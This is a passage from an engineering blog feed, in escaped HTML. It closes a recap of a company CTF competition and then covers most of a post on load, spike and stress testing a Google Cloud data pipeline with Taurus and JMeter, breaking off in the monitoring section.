event started, the challenge was fierce among the teams. Some teams quickly went through the easy challenges. &lt;em&gt;Team Kenshin&lt;/em&gt; had the lead from the start as they had solved the USA challenge and earned 1500 points in one go. Our team, &lt;em&gt;Tripod&lt;/em&gt;, had split the challenges individually. Each one analyzing the challenges and attempting to solve them. We got scared as we saw our competitors quickly going through the easy challenges and up in rankings. Soon, we put our minds together and started solving each challenge. Along with us, &lt;em&gt;Team Zion&lt;/em&gt; was also nowhere near the top 5 in the initial 30 minutes.&lt;/p&gt; &lt;p&gt;Anyway, as time progressed, we consistently kept solving the problems and got to the top position. We were able to solve all problems in around 50 minutes before the scheduled time. As we looked at the leaderboard, the other teams were at least 3000 points behind us. We eagerly waited to see who would come second. The battle for the second position went on for a photo finish fight between &lt;em&gt;Zion&lt;/em&gt;, &lt;em&gt;Kenshin&lt;/em&gt;, and &lt;em&gt;Fed up dangi&lt;/em&gt;, but in the end, &lt;em&gt;Zion&lt;/em&gt; came up victorious.&lt;/p&gt; &lt;p&gt;&lt;strong&gt;Team Tripod and Team Zion were declared as CTF winners at 3 pm.&lt;/strong&gt;&lt;/p&gt; &lt;div style=&quot;text-align:center; margin: 10px;width: 80%; margin: auto&quot;&gt; &lt;img src=&quot;/images/2021/05/ctf-score.png&quot; style=&quot;box-shadow: 2px 2px 10px 1px #aaa&quot;&gt; &lt;img src=&quot;/images/2021/05/ctf-winners.png&quot; style=&quot;box-shadow: 2px 2px 10px 1px #aaa&quot;&gt; &lt;/div&gt; &lt;h2 id=&quot;conclusion&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#conclusion&quot; aria-label=&quot;conclusion permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Conclusion&lt;/h2&gt; &lt;p&gt;CTF 2k21 at Wingify was an amazing experience and a great chance for learning. Competing with the whole engineering team with time running against us was exhilarating and finally, winning was something that made us happy. Solving challenges has become our second nature, so it was fun to solve challenges in a new way with a competition to win, and the adrenaline rush as we went through each puzzle was very exciting.&lt;/p&gt; &lt;p&gt;Everyone at Wingify enjoyed it, even in the remote setup. The COVID care half-day off after the event made it a Friday well spent and a kick start to a great weekend.&lt;/p&gt; &lt;p&gt;Stay safe and stay home!&lt;/p&gt;</content:encoded><author>Nikhil Garg, Brayan Abraham and Pranav Jindal</author></item><item><title><![CDATA[Performance Testing a data pipeline at scale]]></title><description><![CDATA[Introduction At VWO, we get traffic at a very high throughput (22K req/sec) to our servers. The data pipeline crunches and transforms the…]]></description><link>https://engineering.wingify.com//posts/performance-testing-a-data-pipeline-at-scale/</link><guid isPermaLink="false">https://engineering.wingify.com//posts/performance-testing-a-data-pipeline-at-scale/</guid><pubDate>Tue, 22 Dec 2020 00:00:00 GMT</pubDate><content:encoded>&lt;div style=&quot;text-align:center; margin: 10px; display: none&quot;&gt; &lt;img src=&quot;/images/2022/12/qaWingify.png&quot; style=&quot;box-shadow: 2px 2px 10px 1px #aaa&quot;&gt; &lt;/div&gt; &lt;h2 id=&quot;introduction&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#introduction&quot; aria-label=&quot;introduction permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Introduction&lt;/h2&gt; &lt;p&gt;At VWO, we get traffic at a very high throughput (22K req/sec) to our servers. The data pipeline crunches and transforms the data into meaningful information and stores it in the database. We recently started building another data pipeline to scale things up.&lt;/p&gt; &lt;p&gt;Apart from the functional aspects, the QA team must ensure that the data pipeline performs well without compromising the integrity, completeness, accessibility of the data, and the cost incurred in obtaining it.&lt;/p&gt; &lt;p&gt;To better understand the performance of the system, we will logically divide the data architecture into two parts: the Read Layer and the Write Layer. This blog discusses mainly the Write layer. It comprises the DACDN -&gt; Google Cloud PubSub -&gt; Google Cloud Data Flow -&gt; Data Sinks (BigQuery, Apache Druid, PostgreSQL).&lt;/p&gt; &lt;h3 id=&quot;architecture-in-brief&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#architecture-in-brief&quot; aria-label=&quot;architecture in brief permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Architecture in brief&lt;/h3&gt; &lt;ul&gt; &lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://engineering.wingify.com/posts/dynamic-cdn/&quot;&gt;DACDN&lt;/a&gt; (Data Acquisition and Content Delivery Network)&lt;/strong&gt;: This service at VWO is responsible for serving content to visitors as well as collecting the data.&lt;/li&gt; &lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://cloud.google.com/pubsub/docs/overview&quot;&gt;Google Cloud PubSub&lt;/a&gt;&lt;/strong&gt;: Pub/Sub is a fully-managed real-time messaging service that allows you to send and receive messages between independent applications. You can use Pub/Sub as messaging-oriented middleware or event ingestion and delivery for streaming analytics pipelines.&lt;/li&gt; &lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://cloud.google.com/dataflow&quot;&gt;Google Cloud Dataflow&lt;/a&gt;&lt;/strong&gt;: Dataflow is a fully managed streaming analytics service that minimizes latency, processing time, and cost through autoscaling and batch processing.&lt;/li&gt; &lt;li&gt;&lt;strong&gt;Data Sinks&lt;/strong&gt;: These are the databases in which the data is stored ultimately, after various transformations.&lt;/li&gt; &lt;/ul&gt; &lt;br&gt; &lt;hr&gt; &lt;h2 id=&quot;performance-test-plan&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#performance-test-plan&quot; aria-label=&quot;performance test plan permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Performance Test Plan&lt;/h2&gt; &lt;p&gt;Having a concrete testing plan before starting a performance test is essential. It helps in concluding the test in a timely and organized manner. We outlined the following approach for our performance testing activity.&lt;/p&gt; &lt;ul&gt; &lt;li&gt;Baseline test: A baseline test is conducted to compare the performance of the system with its historical performance. We decided to go with the current production metrics for the throughput of various APIs as a baseline.&lt;/li&gt; &lt;li&gt;Load test: After getting the throughput metrics from production, the load test was conducted for 2x, 3x of the baseline, which we increased to 5x.&lt;/li&gt; &lt;li&gt;Spike test: As our Google Cloud DataFlow pipeline automatically scales up based on the throughput, we conducted spike tests to account for the unintentional behavior during spikes.&lt;/li&gt; &lt;li&gt;Stress test: We conducted a stress test to find out the breaking point of the system.&lt;/li&gt; &lt;/ul&gt; &lt;h2 id=&quot;performance-test-setup&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#performance-test-setup&quot; aria-label=&quot;performance test setup permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Performance Test Setup&lt;/h2&gt; &lt;p&gt;We have some prior experience in performance testing as we have done it for our earlier data pipelines. But this time, we wanted to overcome the shortcomings in our previous approach.&lt;/p&gt; &lt;h3 id=&quot;performance-testing-tool&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#performance-testing-tool&quot; aria-label=&quot;performance testing tool permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Performance Testing Tool&lt;/h3&gt; &lt;p&gt;We have been using &lt;a href=&quot;https://jmeter.apache.org/&quot;&gt;Apache JMeter&lt;/a&gt; a lot for our functional and performance testing. But JMeter has its limitations in reporting and real-time monitoring. Also, there is a tedious setup involved with JMeter if we want real-time monitoring of the metrics (can be done with &lt;a href=&quot;https://jmeter.apache.org/usermanual/component_reference.html#Backend_Listener&quot;&gt;JMeter backend listener&lt;/a&gt;, InfluxDB, and Grafana). However, this setup was unsuccessful due to several reasons which are out of the scope of this blog.&lt;/p&gt; &lt;p&gt;Hence, we researched many performance testing tools available in the market and decided to go with Taurus. Apart from the distributed setup, reporting, and real-time monitoring advantages, we chose Taurus as the team had prior experience in scripting in Apache JMeter, and Taurus can run the same JMeter scripts without any issues. There would have been a learning curve involved if we had gone for any other performance testing tool.&lt;/p&gt; &lt;div style=&quot;text-align:center; margin: 10px;&quot;&gt; &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 690px; &quot;&gt; &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/2cdbef6d4b6f2ebba5c296010b6602f0/1df5b/pt_datalayer_1.png&quot; style=&quot;display: block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt; &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom: 47.97687861271676%; position: relative; bottom: 0; left: 0; background-image: url(&amp;apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAAsSAAALEgHS3X78AAACQElEQVQoz12Sy27TUBRF/S2odWzHj+vr2PEjdZrYbZIqTdo0rfqgQBCVKAgxYAAMQIxgwpRRfwI+gq/gYxbHjsSAwZGOrXvX3XufY4RhRJFHzA77pP2IKNIE8m96cc94fknguxSjGcc3b9G9hKifUa83pPtT3K5HoDSep/B9Jd82hmlaxJHL/Sbj1fOCQa7pdCyyLCWOY+k7aK2p64ogCLBtC9d1UKFLkgaUw35b+SDBUzGGbTty0OXh+yG/f62YHiTsmjZ2Z0fKxHG6+J5LFAaixKPr2Ow+2mGv9Hhyl3Bxq1lduZxeZ+ydvMTQUUAiNlfzjNurgiyNxHKP0eIpRb0kVD7Z8JDxyQale8RpwfD4KdPVnOtnMWfXEYu1AOVuuXyB0SjQYjnJbMnHIdSKbtelmswpR7VYtMVawdFiLTYlr8AjSlPGk5SbTcJagEsBnlzmDJd3GB2xF2qb1+9NPnyzGJRdzF2rDbixZ1mWDKZLnvZwHUsisDF3TIqB4uJxLrCY2cJnfibK57cYSoViRXH/zuHj1w770zFdLxKVjpTkp2Tyg4nUFJ3XrfoGqnVEng9keDlJ0icU9YHvYQS+TyDZRMU5enBDdXTO+GBCWZZyOJM4EvrllP3JKWU9bwfjOM52QPLg9mHnnwDDsjrS+Iw+/WT24w/18kp2smZ/NCLp98W20+5injV7mrSgJlfXdVtAA9+Ct73RHFB+wOmbL6w+P1DN5tRVRVVtob1eT1TK8heDVrFSqoX6cud/YFN/AZxbUE7fwz8IAAAAAElFTkSuQmCC&amp;apos;); background-size: cover; display: block;&quot;&gt;&lt;/span&gt; &lt;img class=&quot;gatsby-resp-image-image&quot; alt=&quot;pt datalayer 1&quot; title=&quot;pt datalayer 1&quot; src=&quot;/static/2cdbef6d4b6f2ebba5c296010b6602f0/1e043/pt_datalayer_1.png&quot; srcset=&quot;/static/2cdbef6d4b6f2ebba5c296010b6602f0/991de/pt_datalayer_1.png 173w, /static/2cdbef6d4b6f2ebba5c296010b6602f0/e4d6b/pt_datalayer_1.png 345w, /static/2cdbef6d4b6f2ebba5c296010b6602f0/1e043/pt_datalayer_1.png 690w, /static/2cdbef6d4b6f2ebba5c296010b6602f0/e3189/pt_datalayer_1.png 1035w, /static/2cdbef6d4b6f2ebba5c296010b6602f0/b1001/pt_datalayer_1.png 1380w, /static/2cdbef6d4b6f2ebba5c296010b6602f0/1df5b/pt_datalayer_1.png 1999w&quot; sizes=&quot;(max-width: 690px) 100vw, 690px&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot; loading=&quot;lazy&quot;&gt; &lt;/a&gt; &lt;/span&gt; &lt;div style=&quot;margin: 10px;&quot;&gt; &lt;b&gt;Taurus&lt;/b&gt;&lt;br&gt; &lt;/div&gt; &lt;/div&gt; &lt;br&gt; &lt;h3 id=&quot;load-calculator&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#load-calculator&quot; aria-label=&quot;load calculator permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Load calculator&lt;/h3&gt; &lt;p&gt;Due to the nature of the business VWO is in, we need to keep the data accurate, even at a larger scale. We must know the exact number of various API calls made to the server so the same can be validated after the load has ended. For this, we created simple load calculators in Google Sheets using different Mathematical functions.&lt;/p&gt; &lt;p&gt;Given the number of users/threads and the number of days for which the visitor data would be simulated, the calculator would give us the exact number of API calls for each sampler and the duration of the test for given values.&lt;/p&gt; &lt;div style=&quot;text-align:center; margin: 10px;&quot;&gt; &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 690px; &quot;&gt; &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/9cadbe6ad1786c6ccb6765e55207a4e7/cf899/pt_datalayer_2.png&quot; style=&quot;display: block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt; &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom: 26.589595375722546%; position: relative; bottom: 0; left: 0; background-image: url(&amp;apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAFCAYAAABFA8wzAAAACXBIWXMAAAsSAAALEgHS3X78AAAA5UlEQVQY042MXW6DMBCEuf+xQgIH6EOKjbGBQtNCDP4JAQk0XVtt1ceuNJpvVruTSM6gyhKSMVSsiKw4j1mVnJhBFK+Id6ROyXhXixKtrGjP0Tc19vWJMMlZKJyrGpemRxqclLXvSFWHVDTI+hGnqsWl7pDfRmRvN5xKGXNkXiEnz+n/ZdBI2OeIIDEZFN/Mhjuug8H1gzT6yNI4KLfEO3GfIGdLbCMLbeKP0jMSqzXcPGH1Ht7MMJSfzmGxFm7SWJzBvq347ySeihzJhAIqCtk/HjEHt7Rbtw3HcWD/0f6Hf3d79C98xHX+DqThGgAAAABJRU5ErkJggg==&amp;apos;); background-size: cover; display: block;&quot;&gt;&lt;/span&gt; &lt;img class=&quot;gatsby-resp-image-image&quot; alt=&quot;pt datalayer 2&quot; title=&quot;pt datalayer 2&quot; src=&quot;/static/9cadbe6ad1786c6ccb6765e55207a4e7/1e043/pt_datalayer_2.png&quot; srcset=&quot;/static/9cadbe6ad1786c6ccb6765e55207a4e7/991de/pt_datalayer_2.png 173w, /static/9cadbe6ad1786c6ccb6765e55207a4e7/e4d6b/pt_datalayer_2.png 345w, /static/9cadbe6ad1786c6ccb6765e55207a4e7/1e043/pt_datalayer_2.png 690w, /static/9cadbe6ad1786c6ccb6765e55207a4e7/e3189/pt_datalayer_2.png 1035w, /static/9cadbe6ad1786c6ccb6765e55207a4e7/b1001/pt_datalayer_2.png 1380w, /static/9cadbe6ad1786c6ccb6765e55207a4e7/cf899/pt_datalayer_2.png 1513w&quot; sizes=&quot;(max-width: 690px) 100vw, 690px&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot; loading=&quot;lazy&quot;&gt; &lt;/a&gt; &lt;/span&gt; &lt;div style=&quot;margin: 10px;&quot;&gt; &lt;b&gt;Load calculator&lt;/b&gt;&lt;br&gt; &lt;/div&gt; &lt;/div&gt; &lt;br&gt; &lt;h3 id=&quot;documentation-of-the-test-results&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#documentation-of-the-test-results&quot; aria-label=&quot;documentation of the test results permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Documentation of the test results&lt;/h3&gt; &lt;p&gt;Performance testing is incomplete without the documentation of test results. Create report templates as per your business requirements, which are easy to understand and yet provide a detailed description. We created the following load testing report template.&lt;/p&gt; &lt;div style=&quot;text-align:center; margin: 10px;&quot;&gt; &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 690px; &quot;&gt; &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/6534c75ef67738411f7aca389c00201f/bbdb4/pt_datalayer_3.png&quot; style=&quot;display: block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt; &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom: 41.61849710982659%; position: relative; bottom: 0; left: 0; background-image: url(&amp;apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAICAYAAAD5nd/tAAAACXBIWXMAAAsSAAALEgHS3X78AAABFklEQVQoz6VR2W7EIAzk/7+zm3RDAoQjkHC4Hme1D1WrPhTJ4poZ22MVY6ScC/Ux6L9reT5IbcbR9KnJhySx+0jneZF1ntKRKaZD3pBUr1bOeF+ZV8pJgTl6s4LrXJPy3jPZ8UegaZ5J65VJnoy1TDxo24xETEn+fIgEjnM75VIosVBm4VobtdZJ6dXQyhkAXpaFdy0BUs6ZCYkj0sHirTVpbbzsGd9swl2hNVQIgcIZMxMhNEan3u+AEPa/FjDK7V78ggcIeBLicfu5h9sbBsI7x/cQk2A833cf5A18tP2u8GN6cttO/MFAKlckIb7cbRoewmNeCEOE6HXVNwaBpCJYa2V/skzu4vNPC0BM2dhdKoXAb7gvRQ9u8vHMEMgAAAAASUVORK5CYII=&amp;apos;); background-size: cover; display: block;&quot;&gt;&lt;/span&gt; &lt;img class=&quot;gatsby-resp-image-image&quot; alt=&quot;pt datalayer 3&quot; title=&quot;pt datalayer 3&quot; src=&quot;/static/6534c75ef67738411f7aca389c00201f/1e043/pt_datalayer_3.png&quot; srcset=&quot;/static/6534c75ef67738411f7aca389c00201f/991de/pt_datalayer_3.png 173w, /static/6534c75ef67738411f7aca389c00201f/e4d6b/pt_datalayer_3.png 345w, /static/6534c75ef67738411f7aca389c00201f/1e043/pt_datalayer_3.png 690w, /static/6534c75ef67738411f7aca389c00201f/e3189/pt_datalayer_3.png 1035w, /static/6534c75ef67738411f7aca389c00201f/b1001/pt_datalayer_3.png 1380w, /static/6534c75ef67738411f7aca389c00201f/bbdb4/pt_datalayer_3.png 1805w&quot; sizes=&quot;(max-width: 690px) 100vw, 690px&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot; loading=&quot;lazy&quot;&gt; &lt;/a&gt; &lt;/span&gt; &lt;div style=&quot;margin: 10px;&quot;&gt; &lt;b&gt;Documenting test results&lt;/b&gt;&lt;br&gt; &lt;/div&gt; &lt;/div&gt; &lt;br&gt; &lt;p&gt;With &lt;a href=&quot;https://gettaurus.org/&quot;&gt;Taurus&lt;/a&gt;, the reporting part is partly taken care of as it provides the reporting functionality from Blazemeter for free which is available for 7 days.&lt;/p&gt; &lt;div style=&quot;text-align:center; margin: 10px;&quot;&gt; &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 690px; &quot;&gt; &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/bf4a99bc8d7e6b94388b424996c97b12/ca3c3/pt_datalayer_4.png&quot; style=&quot;display: block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt; &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom: 17.341040462427745%; position: relative; bottom: 0; left: 0; background-image: url(&amp;apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAADCAYAAACTWi8uAAAACXBIWXMAAAsSAAALEgHS3X78AAAAkklEQVQI1y2OUQ7EIAhEe/+jbtJua0URlbfY7gdhYMJjtuM0mhk4SDu5yid6Rs+Eiaw1cxgqB9Y7czpWdrRmpjs1de6rMMYIb7JdSVFVfAFrIuUzHjQsCzVqjMnoDbl3atXnsJULyZk+ejwKYBIsQj3A1jophdnfXqTic+WCEoAiSrWb3L7Pzn3yuks7/p+WXsAfH9HqtNX8zu4AAAAASUVORK5CYII=&amp;apos;); background-size: cover; display: block;&quot;&gt;&lt;/span&gt; &lt;img class=&quot;gatsby-resp-image-image&quot; alt=&quot;pt datalayer 4&quot; title=&quot;pt datalayer 4&quot; src=&quot;/static/bf4a99bc8d7e6b94388b424996c97b12/1e043/pt_datalayer_4.png&quot; srcset=&quot;/static/bf4a99bc8d7e6b94388b424996c97b12/991de/pt_datalayer_4.png 173w, /static/bf4a99bc8d7e6b94388b424996c97b12/e4d6b/pt_datalayer_4.png 345w, /static/bf4a99bc8d7e6b94388b424996c97b12/1e043/pt_datalayer_4.png 690w, /static/bf4a99bc8d7e6b94388b424996c97b12/e3189/pt_datalayer_4.png 1035w, /static/bf4a99bc8d7e6b94388b424996c97b12/b1001/pt_datalayer_4.png 1380w, /static/bf4a99bc8d7e6b94388b424996c97b12/ca3c3/pt_datalayer_4.png 1850w&quot; sizes=&quot;(max-width: 690px) 100vw, 690px&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot; loading=&quot;lazy&quot;&gt; &lt;/a&gt; &lt;/span&gt; &lt;div style=&quot;margin: 10px;&quot;&gt; &lt;b&gt;A snippet from the Blazemeter report&lt;/b&gt;&lt;br&gt; &lt;/div&gt; &lt;/div&gt; &lt;h3 id=&quot;calibration&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#calibration&quot; aria-label=&quot;calibration permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Calibration&lt;/h3&gt; &lt;p&gt;Calibration is done initially to get the highest amount of load from your test scripts as well as the test machine (The machine on which the load scripts will be running). There is only a limited number of users that a machine of a set configuration can handle. One must know the optimum amount of load/throughput that can be generated from a machine.&lt;/p&gt; &lt;h3 id=&quot;monitoring&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#monitoring&quot; aria-label=&quot;monitoring permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 